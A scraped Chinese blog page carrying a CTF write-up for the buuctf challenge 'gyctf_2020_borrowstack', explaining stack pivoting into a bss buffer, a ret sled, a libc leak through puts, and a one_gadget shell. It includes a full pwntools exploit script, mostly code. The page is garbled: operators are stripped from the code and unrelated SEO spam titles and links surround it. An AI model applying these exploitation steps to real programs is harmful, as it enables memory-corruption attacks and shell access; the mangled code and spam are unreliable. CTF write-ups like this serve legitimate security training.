当前位置: 首页 > news >正文

泉州网上办事大厅北京网站优化校学费

泉州网上办事大厅,北京网站优化校学费,无锡做网站优化哪家好,wordpress显示icp备案题目来源buuctf——gyctf_2020_borrowstack 参考链接https://www.shawroot.cc/2097.html 题目信息ubuntu16、64位 第一个read仅溢出一个机器字长#xff0c;需要栈迁移 解题步骤栈偏移到全局变量bank中#xff0c;ret2libcgadget 关键步骤 ret滑梯 第二个payload需要添…题目来源buuctf——gyctf_2020_borrowstack 参考链接https://www.shawroot.cc/2097.html 题目信息ubuntu16、64位 第一个read仅溢出一个机器字长需要栈迁移 解题步骤栈偏移到全局变量bank中ret2libcgadget 关键步骤 ret滑梯 第二个payload需要添加padding的原因是bank的起始位置距离got表太近了会报错原因可能是1有的got表项只读2程序有鉴别机制不允许溢出到got。 有了p64(ret_addr)*20只要保证这一段足够长p64(bss_addr)在其范围内就不需要计算p64(bss_addr)中的地址直接bss_addr就可以了。 因为ret汇编指令表示pop rip所以程序会自动执行栈中下一条地址的内容直到非ret指令。就像一个滑梯一样不管你从中途哪个地方加入都会滑到底。 payload ba*0x60 p64(bss_addr) p64(leave_ret) sa(Tell me what you want,payload) #传说中的ret滑梯 payload p64(ret_addr)*20 p64(pop_rdi_ret) p64(puts_got) p64(puts_plt) p64(second_read_addr) cyclicgdb.attach脚本内动态调试 本来想使用system(/binsh)因此选择的也是第二个read处覆盖函数返回地址。先在脚本里使用cyclic配合gdbattach得到参数偏移数 puts_addr u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00)) libc_base puts_addr - libc.sym[puts] binsh_addr libc_base next(libc.search(b/bin/sh)) system_addr libc_base libc.sym[system] one_gadgetlibc_base0x4526apayload cyclic(200) db() sd(payload)ti() 得到无法读取的内存地址cyclic的片段 所以ret_addr距离第二个read保存的参数的偏移为184 WP # -*- coding: utf-8 -*- from pwn import* context.log_leveldebug context.archamd64 context.os linuxpc ./gyctf_2020_borrowstackif __name__ __main__:local sys.argv[1]if local 1:r process(pc)elf ELF(pc)libc elf.libcelse:rremote(node4.buuoj.cn,29055)elf ELF(pc)libc elf.libcsa lambda s,n : r.sendafter(s,n) sla lambda s,n : r.sendlineafter(s,n) sl lambda s : r.sendline(s) sd lambda s : r.send(s) rc lambda n : r.recv(n) ru lambda s : r.recvuntil(s) ti lambda: r.interactive() lg lambda s: log.info(\033[1;31;40m %s -- 0x%x \033[0m % (s, eval(s)))def db():gdb.attach(r)pause()def dbs(src):gdb.attach(r, src)bss_addr 0x601080 second_read_addr 0x400680 ret_addr 0x04004c9 leave_ret 0x400699 pop_rdi_ret 0x400703 puts_plt elf.plt[puts] puts_got elf.got[puts]payload ba*0x60 p64(bss_addr) p64(leave_ret) sa(Tell me what you want,payload) #传说中的ret滑梯 payload p64(ret_addr)*20 p64(pop_rdi_ret) p64(puts_got) p64(puts_plt) p64(second_read_addr) sla(stack now!,payload) puts_addr u64(r.recvuntil(b\x7f)[-6:].ljust(8,b\x00)) libc_base puts_addr - libc.sym[puts] binsh_addr libc_base next(libc.search(b/bin/sh)) system_addr libc_base libc.sym[system] one_gadgetlibc_base0x4526a#system函数需要的栈空间很大因此第一个payload无法使用 #payload cyclic(184) p64(pop_rdi_ret) p64(binsh_addr) p64(system_addr) payload cyclic(184) p64(one_gadget) sd(payload)ti()
http://www.hkea.cn/news/14512103/

相关文章:

  • wordpress获取数组长度郑州关键词优化平台
  • 网站开发系统简介大学生编程培训机构
  • ftp上传网站教程做网站需要哪些资料
  • 找建设网站公司哪家好网络营销与传统营销的关系
  • 如何设计网站的主菜单婚庆网站开发的意义
  • 美文网站源码wordpress搜索判断
  • server 2012 iis 添加网站做优秀企业网站
  • 成都网站建设上市雅安北京网站建设
  • 合水网站建设wordpress关站
  • 如何进行电子商务网站推广合肥公司网站建设
  • 企业网站建设需要哪些费用东莞厚街家具
  • 深圳网站公司排名成都网站建设是什么
  • 凡科网做网站的图片办图网ppt模板免费下载
  • 淄博网站制作定制优化企业手机网站建设报价
  • 开网站建设公司赚钱吗郑州 做网站
  • 国内知名的网站设计公司软件开发专业培训学校
  • 网站加载流量wordpress 加文章列表
  • 网站下雪的效果怎么做的红色企业网站源码
  • vue单页面做网站加载慢做网站首页需要什么资料
  • 完备的网站建设asp网站整站下载器
  • 江苏网站建设系统方案直播网站开发源码下载
  • 福永网站建设公司有没有网站开发 软件有哪些
  • 在网站建设中 为了防止工期拖延搭建微擎网站后怎么做微官网
  • 个人创建网站程序软件开发管理软件
  • 咸阳做网站的公司有哪些微商网站开发
  • 网站管理端怎么做企业网站建设方案资讯
  • 常州网站建设优质商家wordpress 如果
  • 旅游网站建设规划书主题仁茂网络seo
  • 上海注册公司核名网站地瓜互联 wordpress
  • 网站是怎样建立的流程是什么沈阳看男科哪家医院好